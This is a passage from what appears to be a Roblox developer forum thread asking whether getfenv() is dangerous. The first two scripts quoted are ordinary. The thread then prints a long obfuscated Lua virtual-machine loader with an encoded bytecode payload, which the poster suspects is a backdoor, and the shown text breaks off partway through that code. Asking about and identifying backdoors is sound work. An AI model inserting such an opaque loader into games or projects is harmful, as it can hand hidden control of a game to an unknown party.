Is GetFenv() dangerous?

Hello,
I noticed about “Getfenv()” everybody tells me its backdoor or it just make lag to the game.
I found this in script by using “Ctrl+Shift+F” Find In All Scripts
This is the script:

TAU = math.pi*2

GAP = 2
FOV = 70
VIEW_DIST = 50
PART_PER_UNIT = 6

CENTER = CFrame.new(0, 0, -VIEW_DIST)
EXTERIOR_RADIUS = VIEW_DIST * math.tan(math.rad(FOV/2))
G_OFFSET = GAP / (2*EXTERIOR_RADIUS)
EX_OFFSET = -TAU/4 + G_OFFSET

local module = getfenv()
module.script = nil
return module

And this:

local GuiLib = script.Parent
local FORMAT_STR = "\"%s\" is not an existing class/folder."

local VALID = {
	["Folder"] = true;
	["ModuleScript"] = true;
}

local function getLoaderOf(child)
	local Library = {}
	local Meta = {}
	
	function Meta:__index(key)
		if (Library[key]) then
			return Library[key]
		end
		
		local object = child:FindFirstChild(key)
		if (object and object ~= script and VALID[object.ClassName]) then
			Library[key] = object:IsA("ModuleScript") and require(object) or getLoaderOf(object)
			return Library[key]
		end
		
		error(FORMAT_STR:format(key), 2)
	end
	
	return setmetatable({}, Meta)
end

return getLoaderOf(GuiLib)

Is it dangerous?
Thanks for any reply. Bye!

1 Like

Not really, getfenv() will be useless the moment you added local before each variable.
Speaking of this, I recall getsenv() or getmenv() does the same thing as getfenv but towards that script/module script.

Just don’t use global variables, if you want to, set a constant, local variable on top of your script.

4 Likes

i also found this very loooooooong script i think this is 99 precent backdoor or something:

do return(function(HH,qH,VH,eH,FH,tH,WH,EH,IH,wH,gH,nH,UH,vH,RH,bH,dH,DH,TH,fH,LH,rH,aH,sH,kH,NH,oH,PH,zH,QH,pH,hH,yH,iH,AH,xH,ZH,OH,...)local KH,l,u,T,W,z=0x0001,nil,nil,nil,nil,nil;local x,J=rH or dH,tostring;local B,O=zH,({[0X0]=1});local C=IH;local w=aH;local M=(pH);local m,t=pcall,(0X2^TH);local X=(PH.sub);while KH<=0X4 do if not(KH<=0X1)then if KH<=2 then T=xH;KH=0X4;else if KH~=3 then W=0X00001;KH=0x00000;else do u=vH;end;do KH=2;end;end;end;else if KH==0X0 then z=kH;KH=5;else l=wH;do KH=3;end;end;end;end;local p,d=iH,(rawget);local I=next;do KH=0X0;end;local JH,k=nil,nil;do repeat if KH~=0X00 then k=gH;do break;end;else JH=1;KH=1;end;until(false);end;local G=(PH.byte);KH=0X0001;local v=(nil);while KH<0X2 do if KH==0 then KH=2;else v=coroutine.yield;KH=0x0;end;end;local U,i=4294967296,(getfenv);local g=(i and i()or _ENV);do KH=0X0005;end;local F,s,YH,E,r,a=nil,nil,nil,nil,nil,nil;do while KH<7 do if not(KH<=0x2)then if not(KH<=4)then if KH~=0X5 then a=string.match;KH=7;else do F="LPH?BE36F91A2H00FD1A2H00F71A3H000300D800AB0F32010051004E7667714H009B16010007000F0701002E07000E0701002E07000D0701002E070003070C004B070001070A0054070002070A00360700E4012H07004C0700E9012H07004C077F472H07230E0729452H074A00079601582H073D1A07E801C1012H07A6013F07763D2H07BB0154075090012H07C5010D0700010701002E072H002H07001E072H002H070140072H002H07010903E2003B2681F71A3H000300F400690F3201001D00168E056B4H009B16010007000E0701002E07000D0701002E07000C0701002E070003070C004B070001070A0054070002070A00360700E1012H07004C0700E8012H07004C07533F2H072H2507FC0197012H07EE014707EB010D2H07EB01110702182H070B0C0706412H07DF012007A3016D2H07710007C201B0012H072E53072H002H070140072H002H070109072H002H07001E0387B38C3792F71A2H0001001E060096014A0F32010065001B8CF4404H00A61601000700130701002E0700120701002E0700110701002E070005070C004B070001070A0054070002070A00360700E0012H07004C0700EC012H07004C073AB0012H0763170750082H070929071FED012H07DA01250730DF012H07343A0738792H07E2012F07560A2H07940129071FF5012H073B0D07BA01DB012H073C3E07C8015B2H07E0013807F501B1012H0799011A0700010701002E072H002H070209072H002H0702180700010701002E070001070A0254072H002H0703060763792H077900072H002H070540072H000701002E072H002H070249072H002H07001E037487952B21F71A3H0002006F00230F3201001D00506BAA154H009B1601000700100701002E07000F0701002E07000E0701002E070003070C004B070001070A0054070002070A00360700E2012H07004C0700E9012H07004C07AE01622H077C3007D901F6012H075E3E0762B7012H076D0D07B701EC012H078E0148073796012H07531107443D2H07002E07BE017C2H07F40134079801572H07C101390737312H07C4013F072H002H07001E00CFA0675FD9F71A2H0006000200140012001300110015080044005B15320100C900253H00205FA002429FFF7H0040043H00BED5E4AC9F8H0040083H00EA61D087E40452B79F017H003C626F634H00CB1601000700120701002E0700110701002E0700100701002E070005070C004B070002070A005407002H070A00360700E6012H07004C0700EC012H07004C0753F5012H072100075281012H07D001050725702H07B8011107C201DB012H07E901210782016E2H072E4E07BB01422H074A3707D501662H07DE010207DD01722H0789010D0700020701002E07000D072H010D0700250701002E072H002H0700180700010701002E070002070A0054070002070A0136072H00070A0236072H002H07003B0700010701002E0700362H07001D070003070A0136070001070A0236070005070A03360700F23HFF0F072H01020700012H0705180700010701002E070002070A0554079E01262H072C440706042H0705080700EC3HFF0F0701002E0700012H0702060759652H076840072H002H07021C0700010701002E07000E2H07021D072H000701002E070001072H01440700F83HFF0F0701002E07004HFF0F0701002E072H002H07001E0700032H0702510700050701002E070003070A0236070003070A03360700060701002E0700042H0703510700F93HFF0F0701002E0700022H0701510700060701002E070003070A01360700F73HFF0F0701002E070003070A0436072H000701002E0700052H0704510700F63HFF0F0701002E070004070A01540700010701002E070002070A01540700E93HFF0F0701002E002881897D1EF71A2H0001001C0B00BF01BC13320100050040043H00C271DCD040093H0066A5E074AFF5C1B89A400B3H004D286F2HA01BA6078011BB9F017H00EC9C6F184H00BC16010007002E0701002E07002D0701002E07002C0701002E070005070C004B070001070A0054070005070A00360700E0012H07004C0700ED012H07004C07A301F3012H07B80138073092012H07FB010C07AA01432H07792E07E401D8012H077410078B01FE012H07653A0700210701002E072H002H070309072H002H070853072H002H07083C072H002H070A06072H002H07083B0700050701002E070002070A08540700010701002E070001070A085407596C2H076E400700F83HFF0F0701002E070017070108440700F43HFF0F0701002E072H002H070318072H002H0703410706023H07230107002H07120E0700F43HFF0F0701002E072H002H07001E0701002H07022C070003070A0336070001070A04540700010701002E070001070A0454072H00070A0536072H002H070640072H002H0704310700010701002E0700052H07041D070003070A053607000407010302072H002H0703400700F23HFF0F0701002E072H002H07022A0700FC3HFF0F0701002E0700EB3HFF0F0701030D0700E83HFF0F0701002E037E97FF4F070032005D006F42320100ED009F00016H0040073H00DA79AC81B729A540083H0067028164481789C4404H009FE8036H00400D3H002F2A89232C6A02E38320F88ADC5E40093H00C6F578CC0EEB256D094C400A3H007D6087FDFEDD2572603040083H004FCAA943CCDFE95440083H0017F2B1DB84167A6F40083H00DF1AB9B37C63E86C40093H00A742C1260AC1568D1B400B3H006AC9BCC731C3A55AF0B4569F047H0040063H00FB0635CA9ACA40073H00D98C43F1E2C5B640083H00E2E1F4D40928E7EB400A3H000AE95CB191A21C32532H9FC57H0040083H00C41BA60A076C2F9B40073H002C634EBE2886F09FFF7H0040093H000194AB950A46CCCB7D400F3H00FCF39E8A7503BF74105A32149A532H9F017H00400B3H0019CC83B1A283684C4255BF40073H009685C8901545F9400E3H00133E0DEFC81F54703A92F4FA33FF40083H00396CA3FA7CE24BA79F307H0040073H0041D4EB69FA049B40073H00EA493C47A75D35400B3H00B71251FB2DC3E76B367517400B3H000CC32E494F3416131D65B19F8H00400A3H00C5080FC61CBD734B63C140073H00D7B2712AFE5EA140063H00D89FDA17C58F40093H00CE5DC0385DE275471A40093H00E5A82F58E80B147B1940093H0090F752FF91D6A4900A9F027H009FDD7H00400F3H00BF7A993F661A1005F3C32HD5297A60400A3H00484FCACE79E7D8E85E61400A3H00F2B184A803617EBA74CF400D3H00EC230EC25FC927B63D05D2409040083H006F6AC9D1D22ACEB840083H003792D17BA4625CCED6F200374H00D6180100070098040701002E070097040701002E070096040701002E07000B070C004B070014070A005407001B070A00360700E0012H07004C0700EC012H07004C078E01DE012H07BE0144076180012H07972H01070CE7012H07ED0154079E017D2H07B101480738BF012H072B0A07F401A2012H07352507008A040701002E07506C2H076C440700E40307012403076398012H07980100072H002H07214D072H002H07212A072H000701002E072H002H07222A0700050701002E0759712H07890140079E01462H074B440700F53HFF0F0701002E0700052H0721060700020701002E072H002H07234A0700F93HFF0F0701002E079E01462H0748440700F13HFF0F0701002E0700252H07292D0700390701002E0700C602070110440700C0030701002E07251A2H0726230700C1030701002E07D8019F022H079E021507007D0701002E0113270A07051B0700A7010701002E072H002H072953072H000701002E0700292H0728060700770701002E012A270A07E6021B0700CA020701002E079E01482H074A440700D0020701002E072H002H0727140700010701002E0700302H07271D07506E2H076E4407000D0701002E0723102H0724230700010701002E070014070A2454071A240A0725120700010701002E070014070A2554072B240A0726120700010701002E070014070A265407D80183022H079D0215072H000701002E07598A012H078D01400700EE3HFF0F0701002E012H270A07E33HFF0F1B0700E8010701002E072H002H07240907639E012H079E0100072H000701002E0700292H07280607005A0701002E0700ED0307012B0D0700ED010701002E070009070123440700E8030701002E075980012H0786014007001A070A22360700020701002E07001A070A20360700FB3HFF0F0701002E07000807012002075987012H078901400700DC010701002E075981012H07890140072H002H072441070081020701200D07008E030701002E0700CA3HFF0F070129000700BA020701002E0700D2030701200D0700C33HFF0F0701002E072028070A214607000E0701002E07D80198022H079B021507D80198022H079C0215072H002H07243B0700010701002E07002F2H07241D0700CC010701244407002E0701002E07201C070A21460700230701002E072015070A214607200C070A21460700220701002E072H002H07232A07000C0701002E07200A070A21460700F93HFF0F0701002E075987012H078B01400700012H072648072H002H0723310700010701002E0700F6012H07231D070001070C244B0700E93HFF0F0701002E072009070A2146072030070A214607000F0701002E0700212H072406072H002H07223B0700010701002E070098012H07221D079E01482H07494407D80198022H079A02150700030701002E072012070A214607200B070A21460700020701002E075987012H078A01400700EA3HFF0F0701002E072011070A2146072H20070A21460700DE3HFF0F0701002E07061D2H0A214F07596A2H078701400700E03HFF0F0701002E07201B070A21460700E93HFF0F0701002E072032070A21460700F13HFF0F0701002E072H002H07212A071C05070A21460700CB3HFF0F0701002E072H00070C204B0700FB3HFF0F0701002E0700BE3HFF0F0701002E07000D0701002E0700D0020701002E072H002H071A140700010701002E0700DC012H071A1D071A152H0714080715122H071A1F07131A2H071A0C07001A0A071A5207D80190022H078B02150700C0010701002E079E01262H0740440700152H071B060700F43HFF0F0701002E07000C2H07290607598B012H078F01400763A0012H07A001000700880107012903070003070A293607D8019F022H079E021507B101C8012H07CC01440104290A07C5010B070087010701002E0700883HFF0F0701200D0700B9010701002E072E2D2H072C08072H000701002E07007E0701002E071A2B0A072C120700010701002E070014070A2C54072H2B0A072D1207D8019E022H07A402150700F73HFF0F0701002E075981012H07860140072H002H07214107000107012A0D0700DA3HFF0F0701002E07D8019E022H07A4021507D801F7012H07A5021507598A012H07950140079E01532H075744072H002H072F3B0700010701002E0700532H072F1D07112F2H072F17072F142H072F230700010701002E070014070A2F5407002E2H0728550700040701002E07002E0A072E52072H000701002E079E01542H0737440700ED3HFF0F0701002E0711122H072E1F07132E2H072E0C0700F93HFF0F0701002E0700D8FE2HFF0F070125440700F4FE2HFF0F0701002E0708210A071D2H0700330701002E07061D2H0A1D4F07002D0701002E07000F070A1B360700080701002E071C1B070A1D4607001C0701002E072H002H0719530700210701002E0700DB3HFF0F070120440700280701002E0759742H078501400700FC3HFF0F0701002E070004070C1C4B072H002H071D2A071C05070A1D46071C28070A1D46071C0A070A1D46071C15070A1D46071C0C070A1D46071C32070A1D4607000F0701002E071C30070A1D460700E93HFF0F0701002E072H002H07182A072H002H07192A0700060701002E071C20070A1D4607000B0701002E072H002H07162A0700042H07174C070003070A18360700E63HFF0F0701002E072H002H071A2A0700E03HFF0F0701002E071C09070A1D460700F13HFF0F0701002E071C12070A1D46071C0B070A1D460700060701002E072H1C070A1D460700DB3HFF0F0701002E070024070A1A36070003070C1B4B0701042H0717050700EA3HFF0F0701002E071C11070A1D460700EB3HFF0F0701002E070005070C1E4B070002070C1F4B0700D83HFF0F0701002E0700C5010701002E0700CA3HFF0F070120450700610701002E0726232H0716080700040701002E07D80193022H07A102150700160701002E072H002H072H2A0700FC3HFF0F0701002E0700082H072606079E014A2H074D44070023070A283607D80192022H079F02150700042H0726350700010701002E07000F2H07261D079E014B2H074C440700020701002E079E012B2H074F440700F33HFF0F0701002E07261C2H071A08079E01312H074C4407002F070A27540700010701002E070014070A2754075988012H078D01400700F73HFF0F0701002E0701022H0726050700E63HFF0F0701002E0700032H0729480700010701002E0700DA012H07291D072H002H0726500700B4FE2HFF0F0701002E07D8019C022H079B02150700022H07264C075989012H078C01400700252H0728060700F43HFF0F0701002E072H002H07294A0700292H0728060700F4FE2HFF0F0701002E0700813HFF0F070129190700FBFE2HFF0F0701002E07004E070124000700FBFD2HFF0F0701002E07001A070A2A36072H000701002E07598E012H0790014007001A070A2C360700813HFF0F07012A020700042H072B0607598F012H07910140072H002H072B140700010701002E07003H072B1D079E01512H074E440700E4FE2HFF0F0701002E079E012E2H074B440700100701002E0723162H0724230700010701002E070014070A2454071A240A0724120700F93HFF0F0701002E075988012H078C0140079E014A2H074E440700060701002E072B280A0728120700010701002E070014070A28540700042H07253507000B2H07250607002H0701002E0700042H072535070086FE2HFF0F0701002E079E014A2H074C44072H000701002E070023070A27360723162H0728230700F33HFF0F0701002E07002F070A26540700EE3HFF0F0701002E0700C7FD2HFF0F0701002E07002E070A24540700010701002E070014070A2454075988012H078A0140072H002H0724140700F8FD2HFF0F070124440700E13HFF0F0701002E0700BFFE2HFF0F0701160D07008D3HFF0F0701002E0700242H072306072H222H07243807004C07012444072H222H07241607004A0701002E01250E0A0723270700ADFE2HFF0F0701002E0750662H0766440700010701002E072H002H07001E0700042H0720110700FD3HFF0F0701002E07598A012H078B01400700B73HFF0F0701002E072H002H072H2A072H000701002E07001A070A2B360700010701002E0700D4FD2HFF0F07012B0207D8019F022H07A2021507001A070A2D360700FC3HFF0F0701002E0724250A0729320700DFFD2HFF0F070129440700A3FD2HFF0F0701002E072H002H07275307D8019D022H07990215075987012H078C01400727252H0720080700730701002E0700242H072306072H222H07240C072H222H07251F0722252H072533072H222H0726390726252H0725340725242H0724430700242H072306072H222H07243E07003C070124440700060701002E07001A070A203607001B2H07210607001A070A22360700C8FD2HFF0F07012002072H222H0724130700D13HFF0F0701002E072H222H0724100700330701002E0107270A078FFE2HFF0F1B070092FE2HFF0F0701002E079E014B2H074F4407008DFD2HFF0F0701002E075987012H078B01400700252H07255507D80198022H079C0215070003070A27360700262H072655072H000701002E070003070A27360700090701002E0708052H0A214F01250E0A07AFFD2HFF0F270700230701002E0700222H07250607001F0701002E07D80198022H079A02150700FC3HFF0F0701002E0700222H0725060700EF3HFF0F0701002E079E01482H074E440700272H0727550700042H0724350700010701002E0700212H07241D075987012H0789014007000C0701002E079E01482H074D440700020701002E079E014A2H0749440700F13HFF0F0701002E075987012H078D0140072H002H0727140700010701002E07004A2H07271D0700222H0728060700012H072848072H002H0724500700060701002E0724222H072208072H222H0724230700010701002E070014070A24540724222H0722080700DE3HFF0F0701002E07D80198022H079A02150700E33HFF0F0701002E0700222H0726060700EA3HFF0F0701002E0700923HFF0F0701002E07D8019A022H07990215072H000701002E072H222H0724010700983HFF0F070124440700C43HFF0F0701002E07000D2H072106072H000701002E07D80196022H07980215072H002H072114011E210A07E7FD2HFF0F1B07001B0701002E072H002H07210907251A2H0726230700010701002E070014070A265407000F070126440700060701002E072H002H07253B0700F93HFF0F0701002E07003H072506079E014A2H074C44070023070A27360700FA3HFF0F0701002E0700C4FC2HFF0F0701002E0121262H07140E07009B3HFF0F0701002E07001A070A22360700CAFD2HFF0F0701200207001A070A203607B101B3012H07C401440700FB3HFF0F0701002E0700C1FE2HFF0F070126000700873HFF0F0701002E0759712H0785014007001D2H072106072H000701002E072H002H07224207009AFE2HFF0F0701202407596B2H078701400700202H072306072H002H0722140700010701002E0700B8012H07221D0108220A07A6FC2HFF0F270700C4FD2HFF0F0701002E0700EA3HFF0F070124190700D6FC2HFF0F0701002E072H002H07142A07001F070A153607000E0701002E070002070A0B54070026070A0C540700010701002E070014070A0C54070021070A0D540700250701002E070017070A173607001A070A18360700210701002E07002H070A03540700010701002E070014070A03540731030A0703120700020701002E070024070A16360700F63HFF0F0701002E07001E070A04540700010701002E070014070A04540718040A07041207002D070A0554070019070A06540700010701002E070014070A0654070029070A075407000D070A0854070023070A09540700010701002E070014070A095407000E072H0A540700E13HFF0F0701002E07002H070A00540700010701002E070014070A00540716000A07001207002H070A01540700010701002E070014070A0154072H010A07011207002H070A02540710020A0702120700DF3HFF0F0701002E0700BDFE2HFF0F07011602070022070A0E540700010701002E070014070A0E540700022H070F2B0700010701002E070014070A0F540700042H07102B07001F070A1136070014070A123607002C070A13360700C73HFF0F0701002E07002E070A2454075988012H078A0140072H002H0724140700010701002E070099012H07241D0700A7FC2HFF0F070124440700A43HFF0F0701002E0122212H07DCFC2HFF2H0F07009EFC2HFF0F0701002E07D801F7012H07A502150700030701002E0711122H072F1F0700060701002E07008DFC2HFF0F0701002E0700252H07300607000B0701002E07002F0A072F52075994012H0776400700FA3HFF0F0701002E07132F2H072F0C0700FB3HFF0F0701002E072F142H072F23072F2E2H072A080700F33HFF0F0701002E072H002H072F3B07112F2H072F170700FA3HFF0F0701002E07002E2H0731060700FB3HFF0F0701002E028AF5611F81F81A2H00F71A3H000700D000861C320100410440053H00FF668D2DB240253H0082A990C199ED75CA6F0622780DE0EBBA300BCB8C9FCAEC3D1087EB8C33E633385A6AA98859400E3H00A58C336E3C96F0CD1D60966F9B27400B3H0087EE150F0CF9EAB6313AC5404H0040073H0034DB42317B17BA400D3H00856C13C6C00D2E043F5F7CE2A0400B3H00C067CEDB135823E7B79A51400A3H002D14BBB12E26822A198A400D3H00F35A816E0563CC783B170DA0F340053H00AED5BCF45940073H00F1D87FD10127ED40093H00022910B8233DCA553842D4F329173H00013H00083H00013H00093H00093H006CAF257A0A3H000A3H0042EB03390B3H000B3H00AD8F26380C3H000C3H00A21870460D3H000D3H00A1470F5B0E3H00103H00013H00113H00133H00023H00143H00163H00033H00173H00183H00013H00193H001B3H00043H001C3H001C3H00053H001D3H001E3H00013H001F3H00203H00053H00213H00213H00063H00223H00233H00013H00243H00283H00063H00293H002A3H00013H002B3H002B3H00063H002C3H002D3H00013H002E3H00303H00063H00313H00323H00073H00333H00353H00013H00BE16010007000C0701002E07000B0701002E07000A0701002E070003070C004B07000E070A005407000B070A00360700E4012H07004C0700EA012H07004C07E201C3012H070C0007940196012H07AF0154076095012H075A4B07F7012D2H07C40138079E01D6012H07335307000B070A00540700010701002E07000E070A00540706000A07003A070002070A0236072H002H07003B2H07000A07013A070001070A0336072H002H07013B0700010701002E0700CC012H07011D0709000A07023A0700012H070406072H002H07023B0700020A0703120700010701002E07000E070A0354070015070103440700080701002E0705030A0703120700010701002E07000E070A03540700020A07041207000A070A0536070004070A06360700042H0703280700020701002E07000C070A03540700F63HFF0F0701002E070008070A04540700010701002E07000E070A0454070003070A0554072H000701002E0700032H072H060700022H070548072H002H0704500700010701002E0700DC012H07041D072H002H07001E0001C9335E5A00020095005010320100799040083H00618027F02539BEAC887CBE580A3H00013H00083H00013H00093H00093H00B2603F240A3H000A3H00A744813A0B3H000B3H00C88C294A0C3H000C3H00CA7C6D6E0D3H000D3H0020F4266D0E3H000E3H00D4B4FA300F3H000F3H0031CD6B77103H00103H007441B402113H00143H00013H009D16010007000F0701002E07000E0701002E07000D0701002E070004070C004B070002070A0054070003070A00360700E5012H07004C0700EE012H07004C071E362H07103F074298012H07F8012E07F301B0012H07D90134070FFB012H074C1A0727172H07B7012207E801472H07130207C70193012H077B150702BD012H078F010D072H00070A0054072H00070C014B072H002H07001C072H002H07001E0297214A13D50002004D00C510320100C10E9F13E1FE5HFFB54201154H00A91601000700100701002E07000F0701002E07000E0701002E07002H070C004B072H00070A0054070001070A00360700E2012H07004C0700EC012H07004C07B701CE012H07EE01440757CB012H07C4012E076B542H07CA01040764292H07750407E50198012H071C26078101CD012H077529079901E9012H07520107636B2H07F8012D074982012H075343072H00070C004B072H002H07003D0700010701002E0700EA012H07001D070001070C004B072H00070A001A072H00070A00540700010701002E072H00070A0054072H00070A011A072H002H070140072H002H0700480700010701002E07009D012H07001D072H002H07000902C6CE3204F5";end;KH=0X0;end;else if KH~=0X3 then YH={};do KH=0X1;end;else r=FH;KH=0x6;end;end;elseif not(KH<=0)then if KH==1 then F=T(X(F,0X5),"..",function(Ru)do if G(Ru,0X2)==0X48 then local Et=(0X00000);do while(true)do do if Et~=0X0 then return"";else s=C(X(Ru,0X01,0X1));do Et=1;end;end;end;end;end;else local F8=(u(C(Ru,0X10)));do if s then local LB=(nil);local lB=0;while(true)do do if not(lB<=0X00)then if lB~=1 then return LB;else s=WH;lB=2;end;else do LB=p(F8,s);end;do lB=0x1;end;end;end;end;else return F8;end;end;end;end;end);KH=0x2;else do E=function()local cR=(nil);local MR=(0X0000);while(true)do if MR~=0X0 then W=W+0x1;break;else do cR=G(F,W,W);end;MR=1;end;end;do return cR;end;end;end;KH=0X0003;end;else KH=0X00004;end;end;end;local f,R,Z=nil,nil,(nil);local L,Y=2147483648,(type);do for Md=0,2 do do if not(Md<=0X00000)then if Md~=0X1 then Z=L-0X1;else do R=function()local bX,rX,oX,cX=G(F,W,W+0X3);local CX=0X00;while 0x473012D1 do if CX==0 then W=W+4;CX=1;else return cX*0X1000000+oX*EH+rX*256+bX;end;end;end;end;end;else f=U-sH;end;end;end;end;KH=1;local o,N,V,D,H=nil,nil,nil,nil,nil;repeat if KH<=0X2 then if KH<=0X0 then do local gS,vS=1,(nil);repeat if gS~=0 then vS=2;gS=0x0;else do for z1=1,31 do local c1=1;while c1~=0x2 do if c1~=0X000 then(O)[z1]=vS;c1=0x0;else do vS=vS*0X2;end;c1=2;end;end;end;end;gS=0X00002;end;until gS>1;end;KH=0X3;elseif KH==1 then o=function()local su,bu=R(),(R());if not(bu>=L)then else bu=bu-U;end;return bu*U+su;end;do KH=0X0;end;else do H=(HH or yH);end;do KH=0X06;end;end;else do if not(KH<=0X0003)then if KH~=4 then V=function(uM,lM,wM)local UM=(uM/O[lM])%O[wM];do UM=UM-UM%0x1;end;return UM;end;KH=4;else D=function()local du,ou,Xu=0x00001,nil,nil;repeat if du<=0X0 then do if not(ou==0X0000 and Xu==0)then else return 0;end;end;du=3;else if du==1 then do ou=R();end;do du=0X0002;end;else Xu=R();du=0;end;end;until du>0X02;local iu=((-0X1)^V(Xu,31,1));local lu=V(Xu,20,OH);local Pu=1;local ku=V(Xu,0,20)*U+ou;du=0X000;repeat if du==0X0 then if lu==DH then do if ku==0X0 then do return iu*0x0;end;else lu=0X1;Pu=0x000;end;end;else if lu==0x7Ff then do if ku==0 then do return iu*(0X00000/0);end;else do return iu*(0X0001/0);end;end;end;end;end;do du=1;end;else return iu*(2^(lu-0X0003FF))*(ku/t+Pu);end;until(false);end;KH=2;end;else N={[0]={[0]=0,1,2,0x0003,0X0004,0x0005,6,7,RH,9,0Xa,0X0000b,0x000C,0xd,14,LH},{[0x0]=sH,0,3,2,UH,0X004,0X7,0X006,0X009,8,0xB,10,0XD,0X00c,15,0x0000E},{[0]=tH,0X003,0X0,0X1,6,7,4,5,0x00a,11,0X008,fH,14,15,0Xc,0XD},{[0X00]=3,2,1,0,7,6,0X0005,0X4,0x000B,10,0x9,0X008,15,14,0X00d,0X000C},{[0X0000]=0x4,0x0005,6,7,0X0,1,0X2,3,12,13,14,0XF,8,0X9,10,11},{[0]=5,0X4,0x7,0X6,1,0X0,3,0x2,13,12,0XF,0xE,9,8,11,0Xa},{[0]=6,0X007,4,0X05,2,3,0X0,0X001,0xe,15,0XC,ZH,10,OH,8,fH},{[0X0]=7,6,0X5,4,3,2,1,0,0Xf,14,0X000D,0Xc,11,10,9,8},{[0]=0X8,0X00009,10,11,0xc,0Xd,14,0X0000f,0X00000,0X1,0X2,0X3,0X4,UH,0x0006,7},{[0x0]=9,0X8,0XB,10,13,12,0X000f,14,1,0X0,3,0X2,0X5,4,7,0X6},{[0X000]=10,11,RH,0X9,0Xe,0X0000F,0X00c,0X0d,2,VH,0X0,0X00001,6,0x7,0x4,5},{[0x0]=11,0Xa,9,8,15,0X00e,13,0Xc,0X3,0X2,sH,0,7,6,0X005,0x4},{[0X00000]=0XC,13,0X0e,0X0F,0X8,9,0XA,11,0X04,5,6,0X7,0,1,0X00002,3},{[0]=13,oH,15,0x0000e,0x09,0x008,0xb,10,0X05,0X00004,7,0X6,0X1,DH,3,2},{[0x000]=14,0X000F,0xC,0XD,NH,0xB,0X08,9,0X6,7,0X04,UH,2,3,0,0X001},{[DH]=0X00F,14,13,0xc,0X000b,0XA,fH,8,7,0X6,5,0X0004,0X3,2,0X01,0x0}};KH=0x5;end;end;end;until KH>0X005;local y=(H and H.bxor or function(eT,JT)local bT,uT,YT=4,nil,(nil);while"\059)\079\097"do do if not(bT<=2)then if not(bT<=3)then if bT~=4 then do uT=0X01;end;bT=0;else do eT=eT%U;end;bT=0X0005;end;else while eT>0 and JT>0X0 do local x9,P9=nil,nil;for wz=0X00000,0X0002 do if not(wz<=0)then if wz==1 then P9=JT%16;else do YT=YT+N[x9][P9]*uT;end;end;else x9=eT%16;end;end;do for AG=0,2 do if AG<=0 then eT=(eT-x9)/0X10;else if AG==1 then JT=(JT-P9)/16;else uT=uT*0X10;end;end;end;end;end;bT=0x1;end;else if bT<=0 then JT=JT%U;bT=0X00002;else do if bT==1 then return YT+eT*uT+JT*uT;else YT=0X0;bT=0X3;end;end;end;end;end;end;end);local Q=(H and H.band or function(uO,JO)local MO=(0X2);repeat if MO<=0 then JO=JO%U;MO=0X1;else if MO==1 then return((uO+JO)-y(uO,JO))/0X2;else uO=uO%U;do MO=0;end;end;end;until false;end);local b=H and H[QH]or function(St,ct)St=St%U;local yt=(0X001);while-0x6bAB54ba do do if yt~=0X000 then ct=ct%U;yt=0;else return f-Q(f-St,f-ct);end;end;end;end;local h,A,e={1,0X3,0X02},H and H.bnot or function(bi)return f-(bi%U);end,(H and H[bH]);local q=(H and H.rshift);do e=e or function(YP,DP)if not(DP>=32)then else return 0;end;if not(DP<0X0)then else return q(YP,-DP);end;return(YP*O[DP])%U;end;end;KH=0X1;local j=nil;repeat if KH~=0X00 then q=q or function(KX,QX)if QX>=0X020 then do return 0X00;end;end;local nX=nil;for Jo=0,0X2 do if Jo<=0 then do if not(QX<0)then else return e(KX,-QX);end;end;else do if Jo==1 then nX=(KX%U/O[QX]);else return nX-nX%1;end;end;end;end;end;KH=0x0;else j=function()local LQ,pQ=0X0000,(0X0);while'07\107\068G'do local eN=G(F,W,W);W=W+0X1;pQ=b(pQ,e(Q(eN,0X007f),LQ));if Q(eN,0X80)~=0 then else return pQ;end;LQ=LQ+0X7;end;end;KH=0X2;end;until KH>=2;KH=0;local K,P=nil,(nil);while KH~=2 do do if KH~=0x0000 then P=AH;KH=0X002;else do K={[0X00000]=0x00005,[0]=2,[2]=7,[9]=4,[0x003]=0X4,[0x0009]=6,[sH]=0X5,[5]=0X05,[9]=0x3};end;KH=0X0001;end;end;end;local S=function()local H8,N8=2,nil;do while-0X00FA83AAE do if H8<=0X00 then if N8>Z then do return N8-U;end;end;H8=1;else if H8==0X1 then do return N8;end;else N8=j();do H8=0X0000;end;end;end;end;end;end;local c=E();local BH=E();local MH=function(oG)local jG,iG,tG,gG,RG,pG=2,nil,nil,nil,nil,nil;repeat if not(jG<=1)then if not(jG<=0X2)then if jG==3 then do pG=y(iG[0X0004],BH);end;jG=0x5;else RG=y(iG[0X3],BH);jG=0x3;end;else iG={G(F,W,W+0X3)};do jG=0X1;end;end;else do if jG==0 then gG=y(iG[0X0002],BH);do jG=0x4;end;else do tG=y(iG[0X1],BH);end;do jG=0x0;end;end;end;end;until jG>4;jG=1;do repeat do if not(jG<=0X0)then if jG==0x1 then BH=(121*BH+oG)%256;jG=0X2;else do W=W+4;end;do jG=0;end;end;else return pG*0X001000000+RG*0X10000+gG*0x0000100+tG;end;end;until(false);end;end;local mH=function(...)return M('#',...),{...};end;local CH=function(Px)local Hx,Ax,wx=2,nil,(nil);do while Hx~=3 do do if Hx<=0 then do for UY=1,Ax,0X00001F3d do local WY,TY,NY=0X0003,nil,nil;while''do do if not(WY<=1)then if not(WY<=0X2)then if WY~=0X3 then do NY={G(F,W+UY-1,W+TY-1)};end;WY=0x002;else TY=UY+0X1f3D-1;do WY=0X0;end;end;else for zT=sH,#NY do NY[zT]=y(NY[zT],c);c=(Px*c+0XA7)%0X0000100;end;do WY=0X001;end;end;else if WY==0 then if TY>Ax then do TY=Ax;end;end;do WY=4;end;else do wx=wx..u(x(NY));end;break;end;end;end;end;end;end;do Hx=0X3;end;else do if Hx==1 then wx=eH;Hx=0X0;else Ax=R();Hx=1;end;end;end;end;end;end;Hx=1;repeat if Hx~=0X0 then do W=W+Ax;end;do Hx=0;end;else do return wx;end;end;until false;end;local lH=({});KH=0;local XH,GH,uH=nil,nil,(nil);repeat if KH<=2 then do if KH<=0 then do KH=3;end;else if KH~=0X0001 then uH=GH();do KH=0X04;end;else function GH()local Mj,Oj,Tj,cj,ij,Vj,Qj=5,nil,nil,nil,nil,nil,(nil);while Mj<=0X7 do do if not(Mj<=3)then do if Mj<=5 then do if Mj~=4 then Oj={};Mj=0x1;else do cj={};end;Mj=3;end;end;else if Mj~=0X00006 then Vj=Tj[0X07];do Mj=6;end;else do for B8=0,ij-0x0001 do(Vj)[B8]=GH();end;end;Mj=0X02;end;end;end;else do if Mj<=0X1 then if Mj==0 then(Tj)[8]=cj;Mj=8;else Tj={nil,nil,WH,{},nil,WH,{},WH,{}};Mj=0X0004;end;else if Mj==0X2 then Qj=sH;Mj=0x0;else 